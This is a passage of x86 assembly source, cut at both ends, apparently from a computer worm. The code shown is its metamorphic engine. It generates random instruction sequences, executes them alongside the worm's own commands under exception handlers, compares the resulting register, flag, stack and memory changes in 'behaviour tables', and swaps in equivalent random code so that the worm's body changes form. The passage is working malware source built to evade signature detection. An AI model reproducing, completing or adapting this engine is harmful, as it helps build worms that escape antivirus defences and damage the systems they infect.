cc rDP, mov, edx, dword[RandomNumber]
cc rP, mov, dword[RandomCode+ebp+2], edx
cc rNoEmul, call, GetRandomNumber
cc rDP, mov, dl, byte[RandomNumber]
cc rP, mov, byte[RandomCode+ebp+6], dl
cc rP, add, ebp, 0x5
cc rNoEmul, jmp, EndOPMem32Reg32
OPMem32Reg32_2byte:
EndOPMem32Reg32:
cc rP, add, ebp, 0x2
cc rNoEmul, jmp, EndCRCCycle
OPMem32Reg32End:
PushPopReg32:
cc rAPF, cmp, al, 9
cc rNoEmul, jne, PushPopReg32End
cc rBP, mov, ebx, 0x10
cc rBCP, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rBDF, cmp, dl, 0x0C ; 0x5C=pop esp
cc rNoEmul, jne, PushPopReg32FinAdd
PushPopReg32Xor:
cc rDP, xor, dl, dl ; 0x50=push eax
PushPopReg32FinAdd:
cc rCDP, mov, cl, byte[CGPushPop]
cc rCDPF, cmp, dl, 8
cc rNoEmul, jb, PushPop32GotPush
cc rCDP, dec, cl
cc rNoEmul, jmp, PushPop32GotPopAlreadys
PushPop32GotPush:
cc rCDPF, cmp, cl, 0
cc rNoEmul, js, PushPop32GotPopAlreadys
cc rCDP, inc, cl
PushPop32GotPopAlreadys:
cc rCDP, mov, byte[CGPushPop], cl
cc rDP, add, dl, 0x50
cc rP, mov, byte[RandomCode+ebp], dl
cc rP, add, ebp, 0x1
cc rNoEmul, jmp, EndCRCCycle
PushPopReg32End:
PushImm321:
cc rAPF, cmp, al, 10
cc rNoEmul, jne, PushImm321End
cc rPF, cmp, ebp, (RandomCodeBufferSize-5)
cc rNoEmul, jg, EndCRCCycle
cc rDP, mov, dl, 0x68
cc rP, mov, byte[RandomCode+ebp], dl
cc rNoEmul, call, GetRandomNumber
cc rP, mov, dword[RandomCode+ebp+1], edx
cc rP, add, ebp, 0x5
cc rNoEmul, jmp, EndCRCCycle
PushImm321End:
PushImm322:
cc rAPF, cmp, al, 11
cc rNoEmul, jne, PushImm322End
cc rPF, cmp, ebp, (RandomCodeBufferSize-2)
cc rNoEmul, jg, EndCRCCycle
cc rDP, mov, dl, 0x6A
cc rP, mov, byte[RandomCode+ebp], dl
cc rNoEmul, call, GetRandomNumber
cc rP, mov, byte[RandomCode+ebp+1], dl
cc rP, add, ebp, 0x2
cc rNoEmul, jmp, EndCRCCycle
PushImm322End:
IncDec32:
cc rAPF, cmp, al, 12
cc rNoEmul, jne, IncDec32End
cc rBP, mov, ebx, 0x10
cc rBCP, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rDP, add, dl, 0x40
cc rP, mov, byte[RandomCode+ebp], dl
cc rP, add, ebp, 0x1
cc rNoEmul, jmp, EndCRCCycle
IncDec32End:
EndCRCCycle:
cc rPF, cmp, ebp, RandomCodeBufferSize
cc rNoEmul, jb, CreateMoreRandomCode
cc rA, mov, eax, 0x90909090
cc rA, mov, dword[RC_Padding], eax
cc rNoRes, mov, dword[RC_Padding+4], eax
cc rNoEmul, ret
; #####
; ##### Random Code Generator
; #####
; ###########################################################################
; ###########################################################################
; ###########################################################################
; ###########################################################################
; #####
; ##### Creator of Behaviour Table of own Code
; #####
CreateRandomRegisters:
cc rS, xor, esi, esi
CreateRandomRegistersMore:
cc rBS, mov, ebx, (DataEnd-DataStart)+1
cc rBCS, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rDS, mov, dword[rEAX+esi], edx
cc rS, add, esi, 4
cc rSF, cmp, esi, 7*4
cc rNoEmul, jb, CreateRandomRegistersMore
cc rB, mov, ebx, 8
cc rBC, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rA, mov, eax, DataStart
cc rNoRes, add, dword[rEAX+edx*4], eax
cc rA, mov, eax, dword[rEAX+0x00]
cc rAB, mov, ebx, dword[rEAX+0x04]
cc rABC, mov, ecx, dword[rEAX+0x08]
cc rABCD, mov, edx, dword[rEAX+0x0C]
cc rABCDP, mov, ebp, dword[rEAX+0x10]
cc rABCDPS, mov, esi, dword[rEAX+0x14]
cc rABCDPSI, mov, edi, dword[rEAX+0x18]
cc rNoEmul, ret
PrepareRegistersAndTable:
; In: at dword[tmpAddress]
; Address of BehaviourTable
cc rA, mov, eax, dword[tmpAddress]
; initial values are primes between 0x0FFF FFFF - 0xFFFF FFFF
; except ESP, which is not changed
cc rAB, mov, ebx, dword[rEAX+0x04]
cc rAB, mov, dword[eax+0x04], ebx
cc rABC, mov, ecx, dword[rEAX+0x08]
cc rABC, mov, dword[eax+0x08], ecx
cc rABCD, mov, edx, dword[rEAX+0x0C]
cc rABCD, mov, dword[eax+0x0C], edx
cc rABCDP, mov, ebp, dword[rEAX+0x10]
cc rABCDP, mov, dword[eax+0x10], ebp
cc rABCDPS, mov, esi, dword[rEAX+0x14]
cc rABCDPS, mov, dword[eax+0x14], esi
cc rABCDPSI, mov, edi, dword[rEAX+0x18]
cc rABCDPSI, mov, dword[eax+0x18], edi
cc rABCDPSI, push, ebx
cc rNoEmul, pushfd
cc rABCDPSI, pop, ebx
cc rABCDPSI, and, bl, 10b ; FLAGS - all zero except the reserved-1 one
cc rABCDPSI, push, ebx
cc rNoEmul, popfd ; save FLAGS
cc rABCDPSI, mov, dword[eax+0x1C], ebx
cc rABCDPSI, pop, ebx
cc rABCDPSI, mov, dword[eax+0x20], esp
cc rABCDPSI, push, ebx
cc rABCDPSI, mov, ebx, dword[rEAX+0x00]
cc rABCDPSI, mov, dword[eax+0x00], ebx
cc rABCDPSI, mov, eax, ebx
cc rABCDPSI, pop, ebx
cc rNoEmul, ret
AnalyseBehaviourOfCode:
; In: at dword[tmpAddress]
; Address of BehaviourTable
cc rABCDPSIF, push, ebx
cc rABCDPSIF, mov, ebx, eax
cc rNoEmul, pushfd
cc rABCDPSI, mov, eax, dword[hDataMirror]
cc rABCDPSIF, cmp, eax, dword[hDataMirror1]
cc rNoEmul, je, AnalyseBehaviourOfCodeGoodDataMirror
cc rAC, xor, eax, eax ; This value can not be restored, as otherwise the
; behaviour table gets wrong entries. So just make an
; exception and run next random code.
cc rNoRes, mov, byte[eax], cl
AnalyseBehaviourOfCodeGoodDataMirror:
cc rABCDPSI, mov, eax, dword[hTempAlloc1]
cc rABCDPSIF, cmp, eax, dword[hTempAlloc1]
cc rNoEmul, je, AnalyseBehaviourOfCodeGoodVirtualAlloc
cc rAC, xor, eax, eax ; This value can not be restored, too
cc rNoRes, mov, byte[eax], cl
AnalyseBehaviourOfCodeGoodVirtualAlloc:
cc rABCDPSI, mov, eax, dword[hRandomizedData]
cc rABCDPSIF, cmp, eax, dword[hRandomizedData1]
cc rNoEmul, je, AnalyseBehaviourOfCodeGoodRandomizedData
cc rAC, xor, eax, eax ; This value can not be restored, too
cc rNoRes, mov, byte[eax], cl
AnalyseBehaviourOfCodeGoodRandomizedData:
cc rABCDPSI, mov, eax, dword[tmpAddress] ; The random code could have changed
; the dword[tmpAddress], so to make sure
; that the address is right, we can compare
; with two other places where the same value
; should be. Noisy channel + self-repair :)
cc rABCDPSIF, cmp, eax, dword[tmpAddress1]
cc rNoEmul, je, AnalyseBehaviourOfCodeGoodAddress
cc rABCDPSI, mov, eax, dword[tmpAddress2]
AnalyseBehaviourOfCodeGoodAddress:
cc rNoEmul, pushad
; Temporary Alloced Memory, because it can't be written
; To .data or hDataMirror as they must stay unchanged for comparing
cc rAP, mov, ebp, dword[hTempAlloc1] ; ebp=Temp.VirtualAlloc
cc rAP, push, ebp ; Save Temp.VirtualAlloc
cc rACP, xor, ecx, ecx
Zer0TheTempMemory:
cc rACP, mov, dword[ebp+ecx], 0x0
cc rACP, add, ecx, 0x4
cc rACPF, cmp, ecx, 2*4*4
cc rNoEmul, jb, Zer0TheTempMemory
cc rACP, xor, ecx, ecx ; Counter
cc rACPS, mov, esi, dword[hRandomizedData]
cc rACPSI, mov, edi, DataStart
CompareMirrorMemAgain:
cc rACDPSI, mov, edx, dword[edi+ecx]
cc rABCDPSI, mov, ebx, dword[esi+ecx]
cc rABCDPSIF,cmp, edx, ebx
cc rNoEmul, je, CompareMirrorMemNoDifference
; Found difference!
; Write it to qword[ebp]
cc rACDPSI, mov, dword[ebp], ecx ; Relative offset of difference
cc rACPSI, mov, dword[ebp+4], edx ; different dword
cc rACPSI, add, ebp, 8 ; Point to next entry
CompareMirrorMemNoDifference:
cc rACPSI, add, ecx, 0x4
cc rACPSIF, cmp, ecx, (DataEnd-DataStart)
cc rNoEmul, jb, CompareMirrorMemAgain
cc rACPSI, pop, esi ; temp.VirtualAlloc
cc rNoEmul, pushad
cc rNoEmul, call, RestoreTheMemory
cc rNoEmul, popad
; eax=dword[tmpAddress]
cc rAS, add, eax, 9*4 ; eax ... pointer to MemoryPart of Behaviour Table
cc rSI, mov, edi, eax ; Pointer to BehaviourTable
cc rCSI, xor, ecx, ecx
AnalyseBehaviourOfCodeWriteMore:
cc rACSI, mov, eax, dword[esi]
cc rCSI, mov, dword[edi], eax
cc rCSI, add, esi, 0x4
cc rCSI, add, edi, 0x4
cc rCSI, add, ecx, 0x4
cc rCSIF, cmp, ecx, 2*4*4
cc rNoEmul, jb, AnalyseBehaviourOfCodeWriteMore ; Temp-Memory to BehaviourTable
cc rNoEmul, popad
cc rNoEmul, popfd
cc rABCDPSIF, push, ecx ; temp. save
cc rNoEmul, pushfd
cc rABCDPSI, pop, ecx ; ECX=Flags
cc rABCDPSI, sub, dword[eax+0x1C], ecx ; save FLAGS-difference
cc rABCDPSI, pop, ecx ; restore original ecx
cc rABCDPSI, sub, dword[eax+0x00], ebx ; EAX (saved as EBX temporarily)
cc rABCDPSI, pop, ebx ; restore original ebx
cc rACDPSI, sub, dword[eax+0x04], ebx
cc rADPSI, sub, dword[eax+0x08], ecx
cc rABSI, sub, dword[eax+0x0C], edx
cc rASI, sub, dword[eax+0x10], ebp
cc rAI, sub, dword[eax+0x14], esi
cc rA, sub, dword[eax+0x18], edi
cc rAB, mov, ebx, dword[eax+0x20] ; ebx=old ESP
cc rAB, sub, dword[eax+0x20], esp
cc rABC, pop, ecx ; ecx=current return-address
cc rABCD, xor, edx, edx
cc rABC, mov, dword[eax+0x44], edx
cc rABCF, cmp, dword[eax+0x20], +4 ; has there been a PUSH?
cc rNoEmul, jne, AnalyseBehaviourOfCodeRestoreESP
cc rBC, pop, dword[eax+0x44] ; Save the offset at the stack
AnalyseBehaviourOfCodeRestoreESP:
cc rBC, add, ebx, 4 ; because of the "pop ecx" above
cc rNoEmul, mov, esp, ebx
cc rC, pop, ebx ; trash 1
cc rC, pop, ebx ; trash 2
cc rC, pop, ebx ; trash 3
cc rC, pop, ebx ; trash 4
cc rC, pop, ebx ; trash 5
cc rC, pop, ebx ; trash 6
cc rC, pop, ebx ; trash 7
cc rC, pop, ebx ; trash 8
cc rC, push, dword[tmpDW8]
cc rC, push, dword[tmpDW7]
cc rC, push, dword[tmpDW6]
cc rC, push, dword[tmpDW5]
cc rC, push, dword[tmpDW4]
cc rC, push, dword[tmpDW3]
cc rC, push, dword[tmpDW2]
cc rC, push, dword[tmpDW1]
cc rNoRes, push, ecx
cc rNoEmul, ret
MakeBehaviourTableOfOwnCode:
cc rNoRes, push, PAGE_READWRITE
cc rNoRes, push, MEM_COMMIT
cc rNoRes, push, CommandNumber*BehaviourTableSize
cc rNoRes, push, 0x0
cc rNoEmul, stdcall, dword[_VirtualAlloc] ; For the LocalBehaviourTable of all file's commands
cc rNoRes, mov, dword[hLBTFileCode], eax
cc rC, xor, ecx, ecx ; Counter
AnalyseNextCommand:
cc rAC, mov, eax, GlobalBehaviourTable
cc rAC, add, eax, ecx
cc rAC, mov, al, byte[eax]
cc rCF, cmp, al, rNoEmul
cc rNoEmul, je, MakeBTNoEmul
cc rAC, mov, eax, dword[WormCodeStart]
cc rAC, push, dword[ecx*8+eax+0x00]
cc rAC, pop, dword[BufferForCode+0x00]
cc rAC, push, dword[ecx*8+eax+0x04]
cc rAC, pop, dword[BufferForCode+0x04]
cc rAC, mov, eax, dword[BufferForCode+0x00]
cc rABC, mov, ebx, dword[BufferForCode+0x04]
cc rNoEmul, pushad
cc rABCD, xor, edx, edx
cc rABD, mov, eax, ecx
cc rABD, mov, ebx, BehaviourTableSize
cc rABD, mul, ebx
cc rABD, add, eax, dword[hLBTFileCode]
cc rAB, mov, dword[tmpAddress], eax
cc rAB, mov, dword[tmpAddress1], eax
cc rAB, mov, dword[tmpAddress2], eax
VEH_TRY FC1
cc rA, xor, eax, eax
cc rAB, mov, ebx, FileCodeExection
cc rNoEmul, call, GenerateExecuteableCodeInMemory
cc rNoEmul, call, dword[hExecutionMirror]
VEH_EXCEPTION FC1
VEH_END FC1
cc rNoEmul, popad
MakeBTNoEmul:
cc rABC, inc, ecx
cc rABCF, cmp, ecx, CommandNumber
cc rNoEmul, jb, AnalyseNextCommand
cc rNoRes, push, tmpMemProtection
cc rNoRes, push, PAGE_READONLY
cc rNoRes, push, CommandNumber*BehaviourTableSize
cc rNoRes, push, dword[hLBTFileCode]
cc rNoEmul, stdcall, dword[_VirtualProtect] ; Read only for LBT from now on...
cc rNoEmul, ret
; #####
; ##### Creator of Behaviour Table of own Code
; #####
; ###########################################################################
; ###########################################################################
; ###########################################################################
; ###########################################################################
; #####
; ##### Compare the Behaviour Tables of the file code
; ##### with the random code
; #####
CompareCodeBTwithRandomBT:
cc rNoEmul, call, GetGoodRandomNumber ; its important where the search-procedure starts
cc rC, xor, ecx, ecx
cc rBC, mov, ebx, CommandNumber-2
cc rNoEmul, call, CreateSpecialRndNumber
cc rD, mov, dword[RndNumCycle], edx
cc rCD, xor, ecx, ecx ; Command Counter
cc rC, add, ecx, edx
CompareNextTable:
cc rAC, mov, al, byte[GlobalBehaviourTable+ecx] ; Get the GlobalBT (1 byte) for
; the current command
cc rACF, cmp, al, rNoEmul
cc rNoEmul, je, NotFoundEqualTables
cc rCD, xor, edx, edx
cc rACD, mov, eax, BehaviourTableSize
cc rAC, mul, ecx ; eax=edx:eax * ecx = BehaviourTableSize*ecx
cc rCS, mov, esi, eax
cc rCS, add, esi, dword[hLBTFileCode]
cc rCDS, xor, edx, edx ; Byte Counter in Table
CompareNextByte:
; esi = BehaviourTable (file code) -> eax
; edi = TempBehaviourTable (random code) -> ebx
cc rCDSF, cmp, edx, 8
cc rNoEmul, jge, CompareNoException
cc rACDS, mov, al, byte[GlobalBehaviourTable+ecx] ; Get the GlobalBT (1 byte) for
; the current command
cc rACDS, mov, ah, 1 ; ah = 1
cc rACDS, xchg, cl, dl ; change
cc rACDS, shl, ah, cl ;
cc rACDS, xchg, cl, dl ; Back
; al = GBT
; ah = 1 shl dl
cc rACDSF, and, al, ah
cc rNoEmul, jz, NoNeedForComparing
CompareNoException:
cc rACDS, mov, eax, dword[esi+edx*4] ; esi = BehaviourTable (file code) -> eax
cc rABCDS, mov, ebx, dword[TempBehaviourTable+edx*4] ; = TempBehaviourTable (random code) -> ebx
cc rABCDSF, cmp, eax, ebx
cc rNoEmul, jne, NotFoundEqualTables
NoNeedForComparing:
cc rACDS, inc, edx
cc rACDSF, cmp, edx, BehaviourTableSize/4
cc rNoEmul, jb, CompareNextByte
cc rACDS, mov, al, byte[CGPushPop]
cc rACDSF, cmp, al, 0x0
cc rNoEmul, jns, CompareFoundNoPopProblem
cc rACDS, mov, eax, dword[TempBehaviourTable+8*4] ; ESP
cc rACDSF, cmp, eax, -4
cc rNoEmul, jne, NotFoundEqualTables ; ESP!=-4 && POP zuerst -> PROBLEM!!!
CompareFoundNoPopProblem:
cc rACDSI, mov, edi, BufferForCode
cc rABCDSI, mov, ebx, dword[WormCodeStart]
cc rABCDSI, mov, eax, dword[ecx*8+ebx]
cc rABCDSI, mov, dword[edi], eax
cc rABCDSI, mov, eax, dword[ecx*8+ebx+4]
cc rACDSI, mov, dword[edi+4], eax
cc rACDS, mov, al, byte[GlobalBehaviourTable+ecx]
cc rACDS, mov, byte[tmpGBT], al
cc rNoEmul, call, BlackBoxTesting
cc rACDSF, cmp, eax, 0x0
cc rNoEmul, je, SubstituteCommand
cc rNoEmul, jmp, NotFoundEqualTables
NotFoundEqualTables:
cc rACDS, inc, ecx
cc rACDSF, cmp, ecx, CommandNumber
cc rNoEmul, jne, CreateSpecialRndNumberNotZero
cc rACDS, xor, ecx, ecx
CreateSpecialRndNumberNotZero:
cc rACDS, mov, edx, dword[RndNumCycle]
cc rACDSF, cmp, edx, ecx
cc rNoEmul, jne, CompareNextTable
SubstituteCommandEnd:
cc rNoEmul, ret
; #####
; ##### Compare the Behaviour Tables of the file code
; ##### with the random code
; #####
; ###########################################################################
; ###########################################################################
; ###########################################################################
; ###########################################################################
; #####
; ##### BlackBox Testing
; ##### Send in different parameters and compare output
; #####
;BBFoundEqualCode db "FOUND EQUAL CODE!",0x0
;BBNoEqualCode db "no success",0x0
BlackBoxTesting:
cc rNoEmul, pushad
cc rC, xor, ecx, ecx
cc rC, mov, byte[BBExceptionCount], cl ; If problems occure with the random values of
; Mem8/32 operations, we use the original values of the primary test
cc rNoRes, push, ecx ; BB Counter
PerformeAnotherBlackBoxTest:
cc rNoEmul, call, GetRandomNumber
cc rA, mov, eax, CodeExecDifference
cc rAB, mov, ebx, FileCodeExection
cc rNoEmul, call, GenerateExecuteableCodeInMemory
cc rA, mov, eax, BBTableFileCode
cc rA, mov, dword[tmpAddress], eax
cc rA, mov, dword[tmpAddress1], eax
cc rNoRes, mov, dword[tmpAddress2], eax
VEH_TRY FC2
cc rA, mov, al, byte[tmpGBT]
cc rF, and, al, 10000000b ; FLAGS?
cc rNoEmul, jz, BBTestPrePareNoFlags ; If Flags are restricted, use very small numbers sometimes.
cc rB, mov, ebx, 3
cc rBC, xor, ecx, ecx
cc rNoEmul, call, CreateSpecialRndNumber
cc rF, cmp, dl, 0
cc rNoEmul, je, BBTestPrePareNoFlags
cc rNoEmul, call, CreateRandomRegisters
cc rABCDPSI, mov, dword[BBTableFileCode+0x00], eax
cc rABCDPSI, mov, dword[BBTableRandomCode+0x00], eax
cc rABCDPSI, mov, dword[BBTableFileCode+0x04], ebx
cc rABCDPSI, mov, dword[BBTableRandomCode+0x04], ebx
cc rABCDPSI, mov, dword[BBTableFileCode+0x08], ecx
cc rABCDPSI, mov, dword[BBTableRandomCode+0x08], ecx
cc rABCDPSI, mov, dword[BBTableFileCode+0x0C], edx
cc rABCDPSI, mov, dword[BBTableRandomCode+0x0C], edx
cc rABCDPSI, mov, dword[BBTableFileCode+0x10], ebp
cc rABCDPSI, mov, dword[BBTableRandomCode+0x10], ebp
cc rABCDPSI, mov, dword[BBTableFileCode+0x14], esi
cc rABCDPSI, mov, dword[BBTableRandomCode+0x14], esi
cc rABCDPSI, mov, dword[BBTableFileCode+0x18], edi
cc rABCDPSI, mov, dword[BBTableRandomCode+0x18], edi
cc rNoEmul, jmp, BBTestOverRandomRegisterCreation
BBTestPrePareNoFlags:
; Prepare Registers and BehaviourTables
cc rNoEmul, call, GetGoodRandomNumber
cc rA, mov, eax, dword[RandomNumber]
cc rA, mov, dword[BBTableFileCode+0x00], eax
cc rA, mov, dword[BBTableRandomCode+0x00], eax
cc rNoEmul, call, GetGoodRandomNumber
cc rAB, mov, ebx, dword[RandomNumber]
cc rAB, mov, dword[BBTableFileCode+0x04], ebx
cc rAB, mov, dword[BBTableRandomCode+0x04], ebx
cc rNoEmul, call, GetGoodRandomNumber
cc rABC, mov, ecx, dword[RandomNumber]
cc rABC, mov, dword[BBTableFileCode+0x08], ecx
cc rABC, mov, dword[BBTableRandomCode+0x08], ecx
cc rNoEmul, call, GetGoodRandomNumber
cc rABCD, mov, edx, dword[RandomNumber]
cc rABCD, mov, dword[BBTableFileCode+0x0C], edx
cc rABCD, mov, dword[BBTableRandomCode+0x0C], edx
cc rNoEmul, call, GetGoodRandomNumber
cc rABCDP, mov, ebp, dword[RandomNumber]
cc rABCDP, mov, dword[BBTableFileCode+0x10], ebp
cc rABCDP, mov, dword[BBTableRandomCode+0x10], ebp
cc rNoEmul, call, GetGoodRandomNumber
cc rABCDPS, mov, esi, dword[RandomNumber]
cc rABCDPS, mov, dword[BBTableFileCode+0x14], esi
cc rABCDPS, mov, dword[BBTableRandomCode+0x14], esi
cc rNoEmul, call, GetGoodRandomNumber
cc rABCDPSI, mov, edi, dword[RandomNumber]
cc rABCDPSI, mov, dword[BBTableFileCode+0x18], edi
cc rABCDPSI, mov, dword[BBTableRandomCode+0x18], edi
BBTestOverRandomRegisterCreation:
cc rABCDPSI, mov, dword[BBTableFileCode+0x20], esp
cc rABCDPSI, mov, dword[BBTableRandomCode+0x20], esp
cc rABCDPSI, sub, dword[BBTableFileCode+0x20], 0x08 ; esp is esp+8 here because of
cc rABCDPSI, sub, dword[BBTableRandomCode+0x20], 0x08 ; two less calls. But that makes no difference
; just gives a zero in the LBT if no stack change
; occures, that makes further codes easier
cc rNoEmul, pushad ; Save all registers
cc rNoEmul, pushfd ; Push Flag-dword to stack
cc rA, pop, eax ; eax=FLAGS
cc rNoEmul, call, GetGoodRandomNumber ; new random number in dword[RandomNumber]
cc rAB, mov, ebx, dword[RandomNumber] ; ebx = new random number
cc rAB, and, ebx, 100011000001b ; Just change CF, ZF, SF, OF
cc rA, xor, eax, ebx ; FLAGS xor (dword[RandomNumber] && 100011000000)
cc rA, push, eax,
cc rNoEmul, popfd
cc rAF, mov, dword[BBTableFileCode+0x1C], eax
cc rF, mov, dword[BBTableRandomCode+0x1C], eax
cc rNoEmul, popad
cc rNoEmul, call, dword[hExecutionMirror]
VEH_EXCEPTION FC2
VEH_END FC2
VEH_TRY RC2
cc rA, mov, eax, CodeExecDifference
cc rAB, mov, ebx, RandomCodeExecution
cc rNoEmul, call, GenerateExecuteableCodeInMemory
cc rA, mov, eax, BBTableRandomCode
cc rA, mov, dword[tmpAddress], eax
cc rA, mov, dword[tmpAddress1], eax
cc rNoRes, mov, dword[tmpAddress2], eax
; Prepare Registers for RandomCode
cc rA, mov, eax, dword[BBTableRandomCode+0x00]
cc rAB, mov, ebx, dword[BBTableRandomCode+0x04]
cc rABC, mov, ecx, dword[BBTableRandomCode+0x08]
cc rABCD, mov, edx, dword[BBTableRandomCode+0x0C]
cc rABCDP, mov, ebp, dword[BBTableRandomCode+0x10]
cc rABCDPS, mov, esi, dword[BBTableRandomCode+0x14]
cc rABCDPSI, mov, edi, dword[BBTableRandomCode+0x18]
cc rABCDPSI, push, dword[BBTableRandomCode+0x1C] ; Flags
cc rNoEmul, popfd ; Save flags
cc rNoEmul, call, dword[hExecutionMirror]
VEH_EXCEPTION RC2
VEH_END RC2
cc rA, mov, al, byte[bExceptionFC2]
cc rAF, cmp, al, byte[bExceptionRC2]
cc rNoEmul, jne, BBNotEqual ; If just one failed, the codes were not the same
cc rAF, cmp, al, 1
cc rNoEmul, jne, BBBothNoException ; If non of them fail, continue with the standard procedure
cc rA, mov, al, byte[BBExceptionCount] ; Both failed -> increase BBExceptionCount, check if Limit if reached
cc rA, inc, al
cc rA, mov, byte[BBExceptionCount], al
cc rAF, cmp, al, 23
cc rNoEmul, jne, BBOnlyExceptionLimitNotReached
cc rNoEmul, jmp, BlackBoxTestingWithSimilarParameters ; There have been 23 exception for both commands. So lets use the original
; values from primary test
BBOnlyExceptionLimitNotReached:
cc rNoEmul, jmp, PerformeAnotherBlackBoxTest
BBBothNoException:
cc rD, xor, edx, edx ; Byte Counter in Table
cc rD, mov, byte[BBExceptionCount], dl
BBCompareNextByte:
; esi = BehaviourTable (file code) -> eax
; edi = TempBehaviourTable (random code) -> ebx
cc rDF, cmp, edx, 8
cc rNoEmul, jge, BBCompareNoException
cc rAD, mov, al, byte[tmpGBT] ; Get the GlobalBT (1 byte) for
; the current command
cc rAD, mov, ah, 1 ; ah = 1
cc rAD, xchg, cl, dl ; change
cc rAD, shl, ah, cl ;
cc rAD, xchg, cl, dl ; Back
; al = GBT
; ah = 1 shl dl
cc rADF, and, al, ah
cc rNoEmul, jz, BBNoNeedForComparing
BBCompareNoException:
cc rAD, mov, eax, dword[BBTableFileCode+edx*4]
cc rABD, mov, ebx, dword[BBTableRandomCode+edx*4]
cc rADF, cmp, eax, ebx
cc rNoEmul, jne, BBNotEqual
BBNoNeedForComparing:
cc rD, inc, edx
cc rDF, cmp, edx, (BehaviourTableSize)/4
cc rNoEmul, jb, BBCompareNextByte
; EQUAL!!!
cc rC, pop, ecx
cc rC, inc, ecx
cc rC, push, ecx
cc rAC, mov, al, byte[tmpGBT]
cc rACF, and, al, 10000000b ; FLAGS?
cc rNoEmul, jnz, BBEndCheckWithFlags ; If compare flags, do more BlackBox tests
cc rCF, cmp, ecx, 100
cc rNoEmul, js, PerformeAnotherBlackBoxTest
BBEndCheckWithFlags:
cc rCF, cmp, ecx, 1000
cc rNoEmul, js, PerformeAnotherBlackBoxTest
BBFoundEqual:
cc rNoRes, pop, eax ; Trash
cc rNoEmul, popad
cc rA, xor, eax, eax
cc rNoEmul, ret
BBNotEqual:
cc rNoRes, pop, eax ; Trash
cc rNoEmul, popad
cc rA, mov, eax, -1
cc rNoEmul, ret
BlackBoxTestingWithSimilarParameters:
cc rA, mov, eax, CodeExecDifference
cc rAB, mov, ebx, FileCodeExection
cc rNoEmul, call, GenerateExecuteableCodeInMemory
cc rA, mov, eax, BBTableFileCode
cc rA, mov, dword[tmpAddress], eax
cc rA, mov, dword[tmpAddress1], eax
cc rNoRes, mov, dword[tmpAddress2], eax
VEH_TRY FC2SIM
; Prepare Registers and BehaviourTables
; But this time with similar values as for primary test
cc rNoEmul, call, BBSimSpecialRndNum
cc rA, add, eax, dword[rEAX]
cc rA, mov, dword[BBTableFileCode+0x00], eax
cc rNoRes, mov, dword[BBTableRandomCode+0x00], eax
cc rNoEmul, call, BBSimSpecialRndNum
cc rA, add, eax, dword[rEBX]
cc rA, mov, dword[BBTableFileCode+0x04], eax
cc rNoRes, mov, dword[BBTableRandomCode+0x04], eax
cc rNoEmul, call, BBSimSpecialRndNum
cc rA, add, eax, dword[rECX]
cc rA, mov, dword[BBTableFileCode+0x08], eax
cc rNoRes, mov, dword[BBTableRandomCode+0x08], eax
cc rNoEmul, call, BBSimSpecialRndNum
cc rA, add, eax, dword[rEDX]
cc rA, mov, dword[BBTableFileCode+0x0C], eax
cc rNoRes, mov, dword[BBTableRandomCode+0x0C], eax
cc rNoEmul, call, BBSimSpecialRndNum
cc rA, add, eax, dword[rEBP]
cc rA, mov, dword[BBTableFileCode+0x10], eax
cc rNoRes, mov, dword[BBTableRandomCode+0x10], eax
cc rNoEmul, call, BBSimSpecialRndNum
cc rA, add, eax, dword[rESI]
cc rA, mov, dword[BBTableFileCode+0x14], eax
cc rNoRes, mov, dword[BBTableRandomCode+0x14], eax
cc rNoEmul, call, BBSimSpecialRndNum
cc rA, add, eax, dword[rEDI]
cc rA, mov, dword[BBTableFileCode+0x18], eax
cc rNoRes, mov, dword[BBTableRandomCode+0x18], eax
cc rA, mov, eax, dword[BBTableRandomCode+0x00]
cc rAB, mov, ebx, dword[BBTableRandomCode+0x04]
cc rABC, mov, ecx, dword[BBTableRandomCode+0x08]
cc rABCD, mov, edx, dword[BBTableRandomCode+0x0C]
cc rABCDP, mov, ebp, dword[BBTableRandomCode+0x10]
cc rABCDPS, mov, esi, dword[BBTableRandomCode+0x14]
cc rABCDPSI, mov, edi, dword[BBTableRandomCode+0x18]
cc rABCDPSI, mov, dword[BBTableFileCode+0x20], esp
cc rABCDPSI, mov, dword[BBTableRandomCode+0x20], esp
cc rABCDPSI, sub, dword[BBTableFileCode+0x20], 0x08 ; esp is esp+8 here because of
cc rABCDPSI, sub, dword[BBTableRandomCode+0x20], 0x08 ; two less calls. But that makes no difference
; just gives a zero in the LBT if no stack change
; occures, that makes further codes easier
cc rNoEmul, pushad ; Save all registers
cc rNoEmul, pushfd ; Push Flag-dword to stack
cc rA, pop, eax ; eax=FLAGS
cc rNoEmul, call, GetGoodRandomNumber ; new random number in dword[RandomNumber]
cc rAB, mov, ebx, dword[RandomNumber] ; ebx = new random number
cc rAB, and, ebx, 100011000001b ; Just change CF, ZF, SF, OF
cc rA, xor, eax, ebx ; FLAGS xor (dword[RandomNumber] && 100011000001)
cc rA, push, eax
cc rNoEmul, popfd
cc rAF, mov, dword[BBTableFileCode+0x1C], eax
cc rF, mov, dword[BBTableRandomCode+0x1C], eax
cc rNoEmul, popad
cc rNoEmul, call, dword[hExecutionMirror]
VEH_EXCEPTION FC2SIM
VEH_END FC2SIM
VEH_TRY RC2SIM
cc rA, mov, eax, CodeExecDifference
cc rAB, mov, ebx, RandomCodeExecution
cc rNoEmul, call, GenerateExecuteableCodeInMemory
cc rA, mov, eax, BBTableRandomCode
cc rA, mov, dword[tmpAddress], eax
cc rA, mov, dword[tmpAddress1], eax
cc rA, mov, dword[tmpAddress2], eax
; Prepare Registers for RandomCode
cc rA, mov, eax, dword[BBTableRandomCode+0x00]
cc rAB, mov, ebx, dword[BBTableRandomCode+0x04]
cc rABC, mov, ecx, dword[BBTableRandomCode+0x08]
cc rABCD, mov, edx, dword[BBTableRandomCode+0x0C]
cc rABCDP, mov, ebp, dword[BBTableRandomCode+0x10]
cc rABCDPS, mov, esi, dword[BBTableRandomCode+0x14]
cc rABCDPSI, mov, edi, dword[BBTableRandomCode+0x18]
cc rABCDPSI, push, dword[BBTableRandomCode+0x1C] ; Flags
cc rNoEmul, popfd, ; Save flags
; mov, esp, dword[eax+0x20] ; should be the same
; cc rNoEmul, call, RandomCodeExecution2
cc rNoEmul, call, dword[hExecutionMirror]
VEH_EXCEPTION RC2SIM
VEH_END RC2SIM
cc rA, mov, al, byte[bExceptionFC2SIM]
cc rAF, cmp, al, byte[bExceptionRC2SIM]
